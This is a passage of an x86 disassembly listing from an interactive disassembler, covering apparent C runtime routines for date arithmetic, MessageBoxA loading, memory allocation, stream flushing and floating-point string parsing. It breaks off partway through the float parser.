loc_424ABE: ; CODE XREF: sub_42495A+144j
cmp ecx, eax
jl short loc_424AB8
cmp ecx, edx
jg short loc_424AB8
cmp ecx, eax
jle short loc_424AD2
cmp ecx, edx
jl loc_424967
loc_424AD2: ; CODE XREF: sub_42495A+158j
; sub_42495A+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_424AF9
xor ecx, ecx
cmp eax, dword_43B0D8
setnl cl
loc_424AF5: ; CODE XREF: sub_42495A+1AAj
mov eax, ecx
jmp short loc_424ABA
; ---------------------------------------------------------------------------
loc_424AF9: ; CODE XREF: sub_42495A+18Ej
xor ecx, ecx
cmp eax, dword_43B0E8
setl cl
jmp short loc_424AF5
sub_42495A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B06 proc near ; CODE XREF: sub_42495A+99p
; sub_42495A+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_424BA1
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_424B31
shl esi, 2
mov eax, dword_43B0E8[esi]
jmp short loc_424B3A
; ---------------------------------------------------------------------------
loc_424B31: ; CODE XREF: sub_424B06+1Ej
shl esi, 2
mov eax, dword_43B11C[esi]
loc_424B3A: ; CODE XREF: sub_424B06+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jge short loc_424B74
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_424B7E
; ---------------------------------------------------------------------------
loc_424B74: ; CODE XREF: sub_424B06+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_424B7E: ; CODE XREF: sub_424B06+6Cj
cmp [ebp+arg_10], 5
jnz short loc_424BBC
cmp [ebp+arg_8], 0
jnz short loc_424B92
mov esi, dword_43B0EC[esi]
jmp short loc_424B98
; ---------------------------------------------------------------------------
loc_424B92: ; CODE XREF: sub_424B06+82j
mov esi, dword_43B120[esi]
loc_424B98: ; CODE XREF: sub_424B06+8Aj
cmp ecx, esi
jle short loc_424BBC
sub ecx, 7
jmp short loc_424BBC
; ---------------------------------------------------------------------------
loc_424BA1: ; CODE XREF: sub_424B06+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_424BB2
mov ecx, dword_43B0E8[eax*4]
jmp short loc_424BB9
; ---------------------------------------------------------------------------
loc_424BB2: ; CODE XREF: sub_424B06+A1j
mov ecx, dword_43B11C[eax*4]
loc_424BB9: ; CODE XREF: sub_424B06+AAj
add ecx, [ebp+arg_18]
loc_424BBC: ; CODE XREF: sub_424B06+7Cj
; sub_424B06+94j ...
cmp [ebp+arg_0], 1
jnz short loc_424BED
mov eax, [ebp+arg_1C]
mov dword_43B0D4, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_43B0D0, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43B0D8, eax
jmp short loc_424C42
; ---------------------------------------------------------------------------
loc_424BED: ; CODE XREF: sub_424B06+BAj
mov eax, [ebp+arg_1C]
mov dword_43B0E4, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_43B040
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43B0E8, eax
jns short loc_424C25
add eax, 5265C00h
dec ecx
mov dword_43B0E8, eax
jmp short loc_424C36
; ---------------------------------------------------------------------------
loc_424C25: ; CODE XREF: sub_424B06+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_424C3C
sub eax, edx
inc ecx
mov dword_43B0E8, eax
loc_424C36: ; CODE XREF: sub_424B06+11Dj
mov dword_43B0E4, ecx
loc_424C3C: ; CODE XREF: sub_424B06+126j
mov dword_43B0E0, ebx
loc_424C42: ; CODE XREF: sub_424B06+E5j
pop esi
pop ebx
pop ebp
retn
sub_424B06 endp
; =============== S U B R O U T I N E =======================================
sub_424C46 proc near ; CODE XREF: ___:00422DA5p
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_424C57
add esp, 0Ch
retn
sub_424C46 endp
; =============== S U B R O U T I N E =======================================
sub_424C57 proc near ; CODE XREF: sub_424C46+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_4DAC81[eax], cl
jnz short loc_424C84
cmp [esp+arg_4], 0
jz short loc_424C7D
movzx eax, word_43A68A[eax*2]
and eax, [esp+arg_4]
jmp short loc_424C7F
; ---------------------------------------------------------------------------
loc_424C7D: ; CODE XREF: sub_424C57+16j
xor eax, eax
loc_424C7F: ; CODE XREF: sub_424C57+24j
test eax, eax
jnz short loc_424C84
retn
; ---------------------------------------------------------------------------
loc_424C84: ; CODE XREF: sub_424C57+Fj
; sub_424C57+2Aj
push 1
pop eax
retn
sub_424C57 endp
; =============== S U B R O U T I N E =======================================
sub_424C88 proc near ; CODE XREF: sub_4234D1+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_4D99FC, ebx
push esi
push edi
jnz short loc_424CD7
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 26B0C73h
mov edi, eax
cmp edi, ebx
jz short loc_424D0D
mov esi, dword_4270CC
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi
test eax, eax
mov dword_4D99FC, eax
jz short loc_424D0D
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_4D9A00, eax
call esi
mov dword_4D9A04, eax
loc_424CD7: ; CODE XREF: sub_424C88+Bj
mov eax, dword_4D9A00
test eax, eax
jz short loc_424CF6
call eax
mov ebx, eax
test ebx, ebx
jz short loc_424CF6
mov eax, dword_4D9A04
test eax, eax
jz short loc_424CF6
push ebx
call eax
mov ebx, eax
loc_424CF6: ; CODE XREF: sub_424C88+56j
; sub_424C88+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_4D99FC
loc_424D09: ; CODE XREF: sub_424C88+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424D0D: ; CODE XREF: sub_424C88+1Cj
; sub_424C88+33j
xor eax, eax
jmp short loc_424D09
sub_424C88 endp
; =============== S U B R O U T I N E =======================================
sub_424D11 proc near ; CODE XREF: sub_42383E+22p
; sub_42383E+3Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
imul esi, [esp+0Ch+arg_4]
cmp esi, 0FFFFFFE0h
mov ebx, esi
ja short loc_424D31
test esi, esi
jnz short loc_424D2B
push 1
pop esi
loc_424D2B: ; CODE XREF: sub_424D11+15j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_424D31: ; CODE XREF: sub_424D11+11j
; sub_424D11+65j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_424D62
cmp ebx, dword_43A67C
ja short loc_424D4D
push ebx
call sub_41E7CD
mov edi, eax
pop ecx
test edi, edi
jnz short loc_424D78
loc_424D4D: ; CODE XREF: sub_424D11+2Dj
push esi
push 8
push dword_4DADA0
nop
call near ptr 27D0000h
mov edi, eax
test edi, edi
jnz short loc_424D84
loc_424D62: ; CODE XREF: sub_424D11+25j
cmp dword_4D9798, 0
jz short loc_424D84
push esi
call sub_41F247
test eax, eax
pop ecx
jz short loc_424D8A
jmp short loc_424D31
; ---------------------------------------------------------------------------
loc_424D78: ; CODE XREF: sub_424D11+3Aj
push ebx
push 0
push edi
call sub_41BD10
add esp, 0Ch
loc_424D84: ; CODE XREF: sub_424D11+4Fj
; sub_424D11+58j
mov eax, edi
loc_424D86: ; CODE XREF: sub_424D11+7Bj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424D8A: ; CODE XREF: sub_424D11+63j
xor eax, eax
jmp short loc_424D86
sub_424D11 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4238E3
loc_424D8E: ; CODE XREF: sub_4238E3+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_4DAA40, esi
jle short loc_424DE1
loc_424D9D: ; CODE XREF: sub_4238E3+14FCj
mov eax, dword_4D9A30
mov eax, [eax+esi*4]
test eax, eax
jz short loc_424DD8
test byte ptr [eax+0Ch], 83h
jz short loc_424DBC
push eax
call sub_41B9DB
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_424DBC
inc edi
loc_424DBC: ; CODE XREF: sub_4238E3+14CAj
; sub_4238E3+14D6j
cmp esi, 14h
jl short loc_424DD8
mov eax, dword_4D9A30
push dword ptr [eax+esi*4]
call sub_41BA31
mov eax, dword_4D9A30
pop ecx
and dword ptr [eax+esi*4], 0
loc_424DD8: ; CODE XREF: sub_4238E3+14C4j
; sub_4238E3+14DCj
inc esi
cmp esi, dword_4DAA40
jl short loc_424D9D
loc_424DE1: ; CODE XREF: sub_4238E3+14B8j
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_4238E3
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424DE6 proc near ; CODE XREF: sub_42393B+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C2A0
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_4DAB60
jnb loc_424F1B
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DAA60[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_424F1B
push 1
push esi
push ebx
call sub_422633
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_424F25
push 2
push esi
push ebx
call sub_422633
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_424F25
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_424EC8
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_41BD10
push 8000h
push ebx
call sub_425A20
add esp, 14h
mov [ebp+arg_4], eax
loc_424E7C: ; CODE XREF: sub_424DE6+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_424E87
mov eax, edi
loc_424E87: ; CODE XREF: sub_424DE6+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_422825
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_424EA5
sub edi, eax
test edi, edi
jle short loc_424EBB
jmp short loc_424E7C
; ---------------------------------------------------------------------------
loc_424EA5: ; CODE XREF: sub_424DE6+B5j
cmp dword_4D9718, 5
jnz short loc_424EB8
mov dword_4D9714, 0Dh
loc_424EB8: ; CODE XREF: sub_424DE6+C6j
or esi, 0FFFFFFFFh
loc_424EBB: ; CODE XREF: sub_424DE6+BBj
push [ebp+arg_4]
push ebx
call sub_425A20
pop ecx
pop ecx
jmp short loc_424F08
; ---------------------------------------------------------------------------
loc_424EC8: ; CODE XREF: sub_424DE6+71j
jge short loc_424F08
push 0
push [ebp+arg_4]
push ebx
call sub_422633
push ebx
call sub_4237AA
add esp, 10h
push eax
nop
call near ptr 25F0000h
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_424F08
mov dword_4D9714, 0Dh
nop
call near ptr 2680DCDh
mov dword_4D9718, eax
loc_424F08: ; CODE XREF: sub_424DE6+E0j
; sub_424DE6:loc_424EC8j ...
push 0
push [ebp+arg_0]
push ebx
call sub_422633
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_424F28
; ---------------------------------------------------------------------------
loc_424F1B: ; CODE XREF: sub_424DE6+1Aj
; sub_424DE6+36j
mov dword_4D9714, 9
loc_424F25: ; CODE XREF: sub_424DE6+4Ej
; sub_424DE6+63j
or eax, 0FFFFFFFFh
loc_424F28: ; CODE XREF: sub_424DE6+133j
pop esi
pop ebx
leave
retn
sub_424DE6 endp
; =============== S U B R O U T I N E =======================================
sub_424F2C proc near ; CODE XREF: sub_4240DF+2Bp
; sub_4240DF+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_424F42
cmp ecx, esi
jnb short loc_424F45
loc_424F42: ; CODE XREF: sub_424F2C+10j
push 1
pop eax
loc_424F45: ; CODE XREF: sub_424F2C+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_424F2C endp
; =============== S U B R O U T I N E =======================================
sub_424F4D proc near ; CODE XREF: sub_425006+40p
; sub_425006+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_424F2C
add esp, 0Ch
test eax, eax
jz short loc_424F7F
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_424F2C
add esp, 0Ch
test eax, eax
jz short loc_424F7F
inc dword ptr [esi+8]
loc_424F7F: ; CODE XREF: sub_424F4D+19j
; sub_424F4D+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_424F2C
add esp, 0Ch
test eax, eax
jz short loc_424F97
inc dword ptr [esi+8]
loc_424F97: ; CODE XREF: sub_424F4D+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_424F2C
add esp, 0Ch
pop edi
pop esi
retn
sub_424F4D endp
; =============== S U B R O U T I N E =======================================
sub_424FAB proc near ; CODE XREF: sub_425006+30p
; sub_425006+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_424FAB endp
; =============== S U B R O U T I N E =======================================
sub_424FD9 proc near ; CODE XREF: sub_42559E+1C8p
; sub_425A96+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_424FD9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425006 proc near ; CODE XREF: sub_4250CD+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_42507A
push edi
mov [ebp+arg_8], eax
loc_42502D: ; CODE XREF: sub_425006+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_424FAB
push ebx
call sub_424FAB
lea eax, [ebp+var_10]
push eax
push ebx
call sub_424F4D
push ebx
call sub_424FAB
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_424F4D
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_42502D
xor edx, edx
pop edi
loc_42507A: ; CODE XREF: sub_425006+21j
; sub_425006+9Fj
cmp [ebx+8], edx
jnz short loc_4250A7
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_42507A
; ---------------------------------------------------------------------------
loc_4250A7: ; CODE XREF: sub_425006+77j
mov esi, 8000h
loc_4250AC: ; CODE XREF: sub_425006+B9j
test [ebx+8], esi
jnz short loc_4250C1
push ebx
call sub_424FAB
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_4250AC
; ---------------------------------------------------------------------------
loc_4250C1: ; CODE XREF: sub_425006+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_425006 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4250CD proc near ; CODE XREF: sub_424428+17p
; sub_424455+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_425108: ; CODE XREF: sub_4250CD+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_42511E
cmp cl, 9
jz short loc_42511E
cmp cl, 0Ah
jz short loc_42511E
cmp cl, 0Dh
jnz short loc_425121
loc_42511E: ; CODE XREF: sub_4250CD+40j
; sub_4250CD+45j ...
inc edi
jmp short loc_425108
; ---------------------------------------------------------------------------
loc_425121: ; CODE XREF: sub_4250CD+4Fj
push 4
pop esi
loc_425124: ; CODE XREF: sub_4250CD+AEj
; sub_4250CD+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_4253A7 ; default
; jumptable 00425130 case 10
jmp off_42556E[eax*4] ; switch jump
loc_425137: ; DATA XREF: ___:off_42556Eo
cmp bl, 31h ; jumptable 00425130 case 0
jl short loc_425148
cmp bl, 39h
jg short loc_425148
loc_425141: ; CODE XREF: sub_4250CD+C4j
; sub_4250CD+118j
push 3
jmp loc_425365
; ---------------------------------------------------------------------------
loc_425148: ; CODE XREF: sub_4250CD+6Dj
; sub_4250CD+72j
cmp bl, byte_43A890
jnz short loc_425157
loc_425150: ; CODE XREF: sub_4250CD+124j
push 5
jmp loc_42539D
; ---------------------------------------------------------------------------
loc_425157: ; CODE XREF: sub_4250CD+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_42517D
dec eax
dec eax
jz short loc_425171
sub eax, 3
jnz loc_425440
jmp loc_425200
; ---------------------------------------------------------------------------
loc_425171: ; CODE XREF: sub_4250CD+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_425124
; ---------------------------------------------------------------------------
loc_42517D: ; CODE XREF: sub_4250CD+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_425124
; ---------------------------------------------------------------------------
loc_425186: ; CODE XREF: sub_4250CD+63j
; DATA XREF: ___:off_42556Eo
cmp bl, 31h ; jumptable 00425130 case 1
mov [ebp+var_10], edx
jl short loc_425193
cmp bl, 39h
jle short loc_425141
loc_425193: ; CODE XREF: sub_4250CD+BFj
cmp bl, byte_43A890
jz loc_42525B
cmp bl, 2Bh
jz short loc_4251D5
cmp bl, 2Dh
jz short loc_4251D5
cmp bl, 30h
jz short loc_425200
loc_4251AE: ; CODE XREF: sub_4250CD+207j
cmp bl, 43h
jle loc_425440
cmp bl, 45h
jle short loc_4251CE
cmp bl, 63h
jle loc_425440
cmp bl, 65h
jg loc_425440
loc_4251CE: ; CODE XREF: sub_4250CD+EDj
push 6
jmp loc_42539D
; ---------------------------------------------------------------------------
loc_4251D5: ; CODE XREF: sub_4250CD+D5j
; sub_4250CD+DAj ...
dec edi
push 0Bh
jmp loc_42539D
; ---------------------------------------------------------------------------
loc_4251DD: ; CODE XREF: sub_4250CD+63j
; DATA XREF: ___:off_42556Eo
cmp bl, 31h ; jumptable 00425130 case 2
jl short loc_4251EB
cmp bl, 39h
jle loc_425141
loc_4251EB: ; CODE XREF: sub_4250CD+113j
cmp bl, byte_43A890
jz loc_425150
cmp bl, 30h
jnz loc_4253B5
loc_425200: ; CODE XREF: sub_4250CD+9Fj
; sub_4250CD+DFj
mov eax, edx
jmp loc_425124
; ---------------------------------------------------------------------------
loc_425207: ; CODE XREF: sub_4250CD+63j
; DATA XREF: ___:off_42556Eo
mov [ebp+var_10], edx ; jumptable 00425130 case 3
loc_42520A: ; CODE XREF: sub_4250CD+184j
cmp dword_43A88C, edx
jle short loc_425223
movzx eax, bl
push esi
push eax
call sub_41F44A
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425231
; ---------------------------------------------------------------------------
loc_425223: ; CODE XREF: sub_4250CD+143j
mov ecx, off_43A680
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425231: ; CODE XREF: sub_4250CD+154j
test eax, eax
jz short loc_425253
cmp [ebp+var_4], 19h
jnb short loc_42524B
mov eax, [ebp+var_C]
inc [ebp+var_4]
loc_425241: ; DATA XREF: ___:off_4384E0o
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_42524E
; ---------------------------------------------------------------------------
loc_42524B: ; CODE XREF: sub_4250CD+16Cj
inc [ebp+var_8]
loc_42524E: ; CODE XREF: sub_4250CD+17Cj
mov bl, [edi]
inc edi
jmp short loc_42520A
; ---------------------------------------------------------------------------
loc_425253: ; CODE XREF: sub_4250CD+166j
cmp bl, byte_43A890
jnz short loc_4252C2
loc_42525B: ; CODE XREF: sub_4250CD+CCj
mov eax, esi
jmp loc_425124
; ---------------------------------------------------------------------------
loc_425262: ; CODE XREF: sub_4250CD+63j
; DATA XREF: ___:off_42556Eo
cmp [ebp+var_4], 0 ; jumptable 00425130 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_42527B
loc_42526E: ; CODE XREF: sub_4250CD+1ACj
cmp bl, 30h
jnz short loc_42527B
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_42526E
; ---------------------------------------------------------------------------
loc_42527B: ; CODE XREF: sub_4250CD+19Fj
; sub_4250CD+1A4j ...
cmp dword_43A88C, edx
jle short loc_425294
movzx eax, bl
push esi
push eax
call sub_41F44A
pop ecx
pop ecx
push 1
pop edx
jmp short loc_4252A2
; ---------------------------------------------------------------------------
loc_425294: ; CODE XREF: sub_4250CD+1B4j
mov ecx, off_43A680
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_4252A2: ; CODE XREF: sub_4250CD+1C5j
test eax, eax
jz short loc_4252C2
cmp [ebp+var_4], 19h
jnb short loc_4252BD
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_4252BD: ; CODE XREF: sub_4250CD+1DDj
mov bl, [edi]
inc edi
jmp short loc_42527B
; ---------------------------------------------------------------------------
loc_4252C2: ; CODE XREF: sub_4250CD+18Cj
; sub_4250CD+1D7j
cmp bl, 2Bh
jz loc_4251D5
cmp bl, 2Dh
jz loc_4251D5
jmp loc_4251AE
; ---------------------------------------------------------------------------
loc_4252D9: ; CODE XREF: sub_4250CD+63j
; DATA XREF: ___:off_42556Eo
cmp dword_43A88C, edx ; jumptable 00425130 case 5
mov [ebp+var_24], edx
jle short loc_4252F5
movzx eax, bl
push esi
push eax
call sub_41F44A
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425303
; ---------------------------------------------------------------------------
loc_4252F5: ; CODE XREF: sub_4250CD+215j
mov ecx, off_43A680
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425303: ; CODE XREF: sub_4250CD+226j
test eax, eax
jz loc_4253B5
mov eax, esi
jmp short loc_425366
; ---------------------------------------------------------------------------
loc_42530F: ; CODE XREF: sub_4250CD+63j
; DATA XREF: ___:off_42556Eo
lea ecx, [edi-2] ; jumptable 00425130 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_42531F
cmp bl, 39h
jle short loc_425363
loc_42531F: ; CODE XREF: sub_4250CD+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_42539B
dec eax
dec eax
jz short loc_42538F
sub eax, 3
jnz loc_425443
loc_425334: ; CODE XREF: sub_4250CD+2A4j
push 8
jmp short loc_42539D
; ---------------------------------------------------------------------------
loc_425338: ; CODE XREF: sub_4250CD+63j
; DATA XREF: ___:off_42556Eo
mov [ebp+var_20], edx ; jumptable 00425130 case 8
loc_42533B: ; CODE XREF: sub_4250CD+276j
cmp bl, 30h
jnz short loc_425345
mov bl, [edi]
inc edi
jmp short loc_42533B
; ---------------------------------------------------------------------------
loc_425345: ; CODE XREF: sub_4250CD+271j
cmp bl, 31h
jl loc_425440
cmp bl, 39h
jg loc_425440
jmp short loc_425363
; ---------------------------------------------------------------------------
loc_425359: ; CODE XREF: sub_4250CD+63j
; DATA XREF: ___:off_42556Eo
cmp bl, 31h ; jumptable 00425130 case 7
jl short loc_42536C
cmp bl, 39h
jg short loc_42536C
loc_425363: ; CODE XREF: sub_4250CD+250j
; sub_4250CD+28Aj
push 9
loc_425365: ; CODE XREF: sub_4250CD+76j
pop eax
loc_425366: ; CODE XREF: sub_4250CD+240j
dec edi
jmp loc_425124
; ---------------------------------------------------------------------------
loc_42536C: ; CODE XREF: sub_4250CD+28Fj
; sub_4250CD+294j
cmp bl, 30h
jnz short loc_4253B5
jmp short loc_425334
; ---------------------------------------------------------------------------
loc_425373: ; CODE XREF: sub_4250CD+63j
; DATA XREF: ___:off_42556Eo
cmp [ebp+arg_18], 0 ; jumptable 00425130 case 11
jz short loc_4253A3
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_42539B
dec eax
dec eax
jnz loc_425443
loc_42538F: ; CODE XREF: sub_4250CD+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_425124
; ---------------------------------------------------------------------------
loc_42539B: ; CODE XREF: sub_4250CD+258j
; sub_4250CD+2B8j
push 7
loc_42539D: ; CODE XREF: sub_4250CD+85j
; sub_4250CD+103j ...
pop eax
jmp loc_425124
; ---------------------------------------------------------------------------
loc_4253A3: ; CODE XREF: sub_4250CD+2AAj
push 0Ah
dec edi
pop eax
loc_4253A7: ; CODE XREF: sub_4250CD+5Dj
; sub_4250CD+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 00425130 case 10
jz loc_425445
jmp loc_425124
; ---------------------------------------------------------------------------
loc_4253B5: ; CODE XREF: sub_4250CD+12Dj
; sub_4250CD+238j ...
mov edi, [ebp+arg_8]
jmp loc_425445
; ---------------------------------------------------------------------------
loc_4253BD: ; CODE XREF: sub_4250CD+63j
; DATA XREF: ___:off_42556Eo
mov [ebp+var_20], 1 ; jumptable 00425130 case 9
xor esi, esi
loc_4253C6: ; CODE XREF: sub_4250CD+339j
cmp dword_43A88C, 1
jle short loc_4253DE
movzx eax, bl
push 4
push eax
call sub_41F44A
pop ecx
pop ecx
jmp short loc_4253ED
; ---------------------------------------------------------------------------
loc_4253DE: ; CODE XREF: sub_4250CD+300j
mov ecx, off_43A680
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_4253ED: ; CODE XREF: sub_4250CD+30Fj
test eax, eax
jz short loc_42540D
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_425408
mov bl, [edi]
inc edi
jmp short loc_4253C6
; ---------------------------------------------------------------------------
loc_425408: ; CODE XREF: sub_4250CD+334j
mov esi, 1451h
